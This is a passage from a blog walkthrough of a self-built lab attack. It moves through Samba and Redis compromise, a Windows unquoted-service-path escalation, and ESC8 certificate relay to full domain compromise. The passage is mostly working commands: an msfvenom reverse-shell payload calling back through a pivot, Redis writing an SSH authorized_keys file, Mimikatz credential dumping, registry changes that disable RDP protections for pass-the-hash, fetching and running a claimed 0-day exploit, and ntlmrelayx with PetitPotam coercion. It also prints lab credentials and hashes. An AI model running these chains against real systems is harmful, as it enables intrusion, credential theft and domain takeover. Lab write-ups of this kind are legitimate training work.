msfconsole
search samba 3.0

image

We will use the first one :

image

For the options , it needs the RHOSTS , LHOST which will be our Pivot IP , and for the LPORT , we will use a new one , first we need to create a new listener using Ligolo :

1
listener_add --addr 0.0.0.0:5555 --to 127.0.0.1:5555 --tcp

image

Now back to our exploit , we specify the new LPORT , and the Pivot IP address :

1
2
3
set LHOST 10.10.10.10
set LPORT 5555
set RHOSTS 10.10.10.40

image

The exploit will grant us immediate Root access .

Now moving on to the Redis server :

Redis :

First let’s try if we can access the Redis server :

image

If we get PONG this means Redis server is reachable .

image

We can also pull more info about the server with redis-cli , this leaks the Redis version, OS, and process info, and config get dir shows us the directory Redis is writing to.

1
2
redis-cli -h 10.10.10.40 info server
redis-cli -h 10.10.10.40 config get dir

Since we know the directories Redis is writing to , and since Redis is reachable , and doesn’t require auth by default , we can write into the same directory Redis is writing to , let’s write our SSH key into that machine , and login via SSH .

First, we generate the keys , the public key will be the one we put inside the Target and the private one is the one we use to login .

1
ssh-keygen -t rsa -b 4096 -f redis_key -N ""

image

This gives us redis_key (private) and redis_key.pub (public) , the pub key is the one we’re going to smuggle into the target .

now the trick with old Redis and CONFIG SET is that we can point dir and dbfilename anywhere we want , then SAVE writes whatever’s in the DB straight to that file as raw text . if we control the value we write to a key , and the value looks enough like a valid authorized_keys line , the dump ends up being a working file .

first we set the path :

1
2
redis-cli -h 10.10.10.40 config set dir /home/azerty/.ssh/
redis-cli -h 10.10.10.40 config get dir

image

This should return /home/azerty/.ssh/ , confirming Redis is happy to write there , this only worked because we already created that folder with the right ownership and 700 perms earlier , otherwise Redis running as its own low priv user wouldn’t be able to write into it .

Then we set the filename :

1
redis-cli -h 10.10.10.40 config set dbfilename "authorized_keys"

Now we need to actually get our key into the DB , we pad it with newlines so it lands cleanly on its own line inside the dump , then set it as a value :

1
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h 10.10.10.40 -x set sshkey

Then we just force a save :

1
redis-cli -h 10.10.10.40 save

image

if that comes back OK , Redis just wrote our pubkey out to /home/azerty/.ssh/authorized_keys .

last step , we ssh in with the matching private key :

1
ssh -i redis_key azerty@10.10.10.40

image

We are able to login via SSH, as the azerty user , since it was the user we setup the entire scenario with he already had NOPASS ALL which means he can run any binary as the Root user without needing a password .

In this case we chose to run the su binary to get Root :

1
sudo su

image

We manage to get Root with 3 different Paths for this machine .

Now let’s move the Rogue machine .

Rogue :

Now back to our nmap scan we found 2 Windows Boxes , 1 was the DC and the second one was a Windows Workstation .

image

Scanning all ports , we find 3 : Winrm , RDP , and panda-pub .

image

Version scanning and default scripts didn’t return anything useful .

We already have these creds from the NFS server :

1
svc_backup : Backup@123

Let’s test them to see if we can login via Winrm , or RDP .

1
2
nxc rdp 10.10.10.50 -u svc_backup -p 'Backup@123' --local-auth
nxc winrm 10.10.10.50 -u svc_backup -p 'Backup@123' --local-auth

image

Our user can login via Winrm but can’t RDP to the machine , let’s connect via Winrm :

1
evil-winrm -i 10.10.10.50 -u svc_backup -p "Backup@123"

image

Now that we got access , let’s import some tools to help us find the privesc vector , before importing Winpeas , we can do a quick check using PowerUp.ps1 .

1
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1

Importing Tools is pretty simple using Evil-winrm , we just use the upload function :

image

Just make sure you specify the correct path .

image

If the size doesn’t match you can zip it , transfer it to the Pivot Box then from there import it to the Windows box .

Now that we uploaded PowerUP , we can first bypass the execution policy otherwise we will get an error since we can’t run Scripts :

image

1
2
3
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
. .\PowerUp.ps1   # Import the module 
Invoke-Allchecks  # Run the checks 

image

I tried both Winpeas and PowerUp but they didn’t find the Unquoted Service Path , so we will do it manually , first let’s list all Services and check for interesting ones :

1
Get-Service

image

We find an unusual one , BackupService , let’s enumerate it further using sc :

1
2
sc.exe query BackupService
sc.exe qc BackupService

image

Found it , Unquoted service path , and it is running as System .

As long as we have write access to C:\Program Files\, we can drop a malicious Backup.exe there directly. Because Windows checks each space-delimited segment of the unquoted path in order, it finds and executes our C:\Program Files\Backup.exe before ever reaching the intended C:\Program Files\Backup Service\backup.exe. Since the service runs as SYSTEM, our binary which will be a reverse shell will be executed with SYSTEM privileges.

First let’s check if we have access to write into this folder :

1
icacls "C:\Program Files"

image

Perfect , we have Modify (M) writes over the entire Directory .

Now on our Kali machine let’s generate our Reverse shell , then setup a listener .

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=7777 -f exe -o Backup.exe

For the LHOST , we’re using the Pivot Box to catch the session , but different port this time , we will open it via Ligolo later .

Once generated , we transfer it to the target machine using our Winrm session :

image

Then we set up our Listener , we will use multi handler for this one .

For the LHOST we will open a new Listener , on port 7777 using Ligolo .

1
 listener_add --addr 0.0.0.0:7777 --to 127.0.0.1:7777 --tcp

image

Now we just set up the multi handler , for the LHOST we will use the Pivor box IP like we did before and the payload as windows/x64/shell_reverse_tcp just like we specified when creating the reverse shell .

1
2
3
4
5
6
7
8
9
msf > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf exploit(multi/handler) > set LPORT 7777
LPORT => 7777
msf exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf exploit(multi/handler) > run

Now we just move the new Backup.exe to the Program Files directory , from there we restart the service and it should execute the reverse shell .

image

We see that we are now System .

Other Path :

Now there is another way to get System , we need to RDP to the box to be able to run the Rogue Planet exploit which will give us SYSTEM as well .

First let’s import Mimikatz , dump hashes , get the admin hash and login via RDP .

To make life easier when it comes to importing our tools we will upgrade our shell to a mterpreter shell , we can use this module :

1
use multi/manage/shell_to_meterpreter

First we run CTRL Z to background our shell , use this post exploitation module , it takes as a parameter the Session we have earlier , then we run it :

image

It should fail at first , since we’re using a Ligolo proxy there are few things we need to change .

First we need to created a new listener , we will use 4443 since this is what the module uses by default :

1
listener_add --addr 0.0.0.0:4433 --to 127.0.0.1:4433 --tcp

image

Then for the LHOST we should specify the one of our Pivot Host :

1
2
3
set SESSION 1
set LHOST 10.10.10.10
run

image

Perfect we got our Meterpreter session , to interact with it , we just type :

1
sessions -i 2

image

We just navigate to the directory where we’re hosting our tools :

image

We just import it now using our meterpreter session

  • If you don’t want to use Meterpreter , you can manually import them to the Pivor box then from there we transfer it to the windows box .
  • Or just create a reverse shell with a Meterpreter shell from the beguinning , but in this case i just wanted to test if it will work so i didn’t want to risk using a meterpreter one .

image

Once inside Mimikatz :

1
2
3
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

image

We got the NTLM hash of the elmehdi user that we will use to RDP to the machine , let’s verify if this user can RDP :

1
nxc rdp 10.10.10.50 -u elmehdi -H c22b315c040ae6e0efee3518d830362b

image

We see the pwn3d! which means this user can login via RDP .

So now all we need to do is RDP to the machine , import our exploit , run it and it should give us System .

1
xfreerdp3 /v:10.10.10.50 /u:elmehdi /pth:c22b315c040ae6e0efee3518d830362b /cert:ignore +clipboard /dynamic-resolution /drive:SHARED,.

Here we’re using the Hash to login via RDP , the /drive is to have a shared drive between our Kali machine and the target machine , to easily import our Tools :

image

This won’t work, since elmehdi is part of the local Admin group , so we can’t just login using pth via RDP .

To enable PTH for Administrators on the machine we need to modify it using the registry :

1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

We already has System so we will be able to execute this , or just Login to Rogue normally and modify it so that you can proceed with the attack .

We also need to disable NLA :

NLA (Network Level Authentication) is blocking PTH for non-RID-500 accounts at the RDP layer specifically, which is separate from the UAC token filtering :

1
2
3
4
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 0

# Then to verify :
Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication"

image

If the RDP using PTH doesn’t work, just login normally , Download the Exploit on you Kali machine , transfer it to the Pivot Box and from there , Import it to the Rogue machine . (Or you could create a new listner on Ligolo that will forward traffic from port 80 on the Pivot box back to our local port 80 , and from there we use wget and specify the IP address of the Pivot box instead of ours )

Let’s try it quickly , instead of port 80 let’s use 8888 , first create the listener on our Ligolo server :

1
listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:8888 --tcp

image

Then we Download the Exploit :

1
2
https://github.com/MSNightmare/RoguePlanet
git clone https://github.com/MSNightmare/RoguePlanet.git

image

Now we just setup our Python Server , on port 8888 :

1
python3 -m http.server 8888

Finally on the Rogue machine , we use IWR or Wget but we specify the IP address of our Pivot Box not our Kali IP , and it will be forwarded automatically using Ligolo :

1
wget http://10.10.10.10:8888/RoguePlanet.exe -o Rogue.exe

image

Now back on our Python Server , we see that we got a callback and we get a 200 which means the executable was transfered successfully .

image

Now finally we just Run the Exploit and Hope we get System :

image

Note that this is a Race Condition Vulnerability which means it might not always work , i got it to work twice, and it was same day when it came out , from there it didn’t work for me :)

The exploit abuses a timing window between file creation and Windows Defender’s processing of that file, so the window can open and close without you catching it depending on system load, timing, and luck. I got it to work on the same day the exploit dropped; since then it’s been hit or miss.

At the time of writing, there is still no official patch for this vulnerability. It will likely be addressed in an upcoming Patch Tuesday, so by the time you’re reading this, the exploit may no longer work on a fully patched system — which is also why it makes sense as a lab scenario: it documents a real, working 0-day at the time this lab was built, even if its shelf life is limited.``

Now let’s move to the final Attack .

DC01 / CA01 :

First we start by scanning both :

1
nmap 10.10.10.100 10.10.10.101

image

Looking at the scan result , we can tell that 10.10.10.100 is the DC , from having LDAP, Kerberos and DNS .

First thing we should do is add the Domain name as well as the hostnames to our /etc/hosts file . we can use nxc to generate the hostfile :

1
nxc smb targets --generate-hosts-file hosts

image

Now we just add those lines to our hosts file :

image

Looking at nxc result we know which machine is the DC and which one is the Certificate Authority server .

To save time , we won’t do it blindly , since AD Enumeration can be pretty time consuming , but if you want more enumeration you can check this Checklist :

1
https://elmehdilaassiri.github.io/posts/oscp-cpts-methodology/#active-directory-

First we will check the quick wins , let’s see if the DC is vulnerable to any of the coercion attacks .

But for this we first need valid creds , which we got from the NFS server , let’s test them first :

1
nxc smb DC01.Isolate.local -u svc_backup -p 'Backup@123'

image

Perfect we got valid creds , we can test for coercion attacks , we can use the module Coerce plus from nxc which will test multiple vulnerabilities , like petitpotam , printspooler , DFSCoerce, etc :

1
nxc smb DC01.Isolate.local -u svc_backup -p 'Backup@123' -M coerce_plus

image

Perfect , it is vulnerable .

Now before we continue let me explain to you the attack that we’re going to perform :

What is ESC8 ?

ESC8 is one of the ADCS privilege escalation paths documented in SpecterOps’ “Certified Pre-Owned” research. It abuses the Certificate Authority Web Enrollment interface (/certsrv/) which accepts NTLM authentication by default, without requiring Extended Protection for Authentication (EPA) making it vulnerable to NTLM relay attacks.

The attack works in three stages:

  • Coercion : force a privileged machine (in our case, the Domain Controller) to authenticate outbound to an attacker-controlled listener using one of several well-known coercion techniques (PetitPotam, PrinterBug, DFSCoerce, etc.)
  • Relay : intercept that NTLM authentication and relay it to the CA’s Web Enrollment endpoint, requesting a certificate on behalf of the coerced machine account (DC01$) using the AD integrated DomainController certificate template
  • Abuse : use the issued certificate to authenticate via Kerberos PKINIT, obtaining a TGT for DC01$, which has domain replication rights enabling a full DCSync and dumping every credential in the domain including krbtgt

The key prerequisite is that the CA and the coerced machine must be two separate boxes relaying a machine’s auth back to a service running on that same machine triggers Windows’ built-in NTLM reflection protection and fails silently, which is exactly why we set up a dedicated CA server instead of running ADCS directly on the DC.

Now first we confirmed that we can perform the coercion , now we just need to setup our Relay server , and make sure we’re relaying back to the CA01 machine , for this we will use ntlmrelay from impacket :

1
impacket-ntlmrelayx -t http://10.10.10.101/certsrv/certfnsh.asp --adcs --template DomainController -smb2support

image

Now we Trigger the coercion : force DC01 to authenticate back to Kali via PetitPotam:

Since everything is on the internal segment now and routed through Ligolo, the listener IP needs to be your Ligolo tun interface IP (10.10.10.10), which the DC can reach back through the pivot:

1
nxc smb 10.10.10.100 -u 'svc_backup' -p 'Backup@123' -M coerce_plus -o LISTENER=10.10.10.10 METHOD=PetitPotam

image

This didn’t work since it will connect back to the Pivot box , but we haven’t created any listener that will forward the traffic back to our Kali host .

For this we need to go back to Ligolo and create a new listener that will forward all traffic coming to port 445 on the Pivot Box directly to our local port 445.

1
ligolo-ng » listener_add --addr 0.0.0.0:445 --to 127.0.0.1:445 --tcp

image

So the new flow now is :

1
DC01 → authenticates to Fail2Copy:445 → Ligolo forwards → Kali:445 → ntlmrelayx catches and relays → CA01 Web Enrollment

Now if we try again :

image

It worked perfectly, and we got the PFX certificate for DC01$. We’ll use this certificate to authenticate via Kerberos PKINIT and obtain a TGT using Certipy:

1
certipy auth -pfx ./DC01.pfx -dc-ip 10.10.10.100

Certipy handles the PKINIT exchange automatically , it authenticates the certificate against the DC, retrieves a TGT for DC01$, and also extracts the NT hash of the machine account directly, which we can use for pass-the-hash if needed.

image

Now we have the Hash for the DC01$ which is a machine account , we won’t use it to login , but instead we will dump all Hashes on the Domain , and from there login using the Domain Administrator Hash .

image

Now we can use it to authenticate , execute commands via nxc , etc .

1
nxc smb 10.10.10.100 -u 'administrator' -H 43d4cf17b072d8b25ecb5fea0d04c62d -x whoami

image

We now have Full domain Compromise through an ESC8 .

This post is licensed under CC BY 4.0 by the author.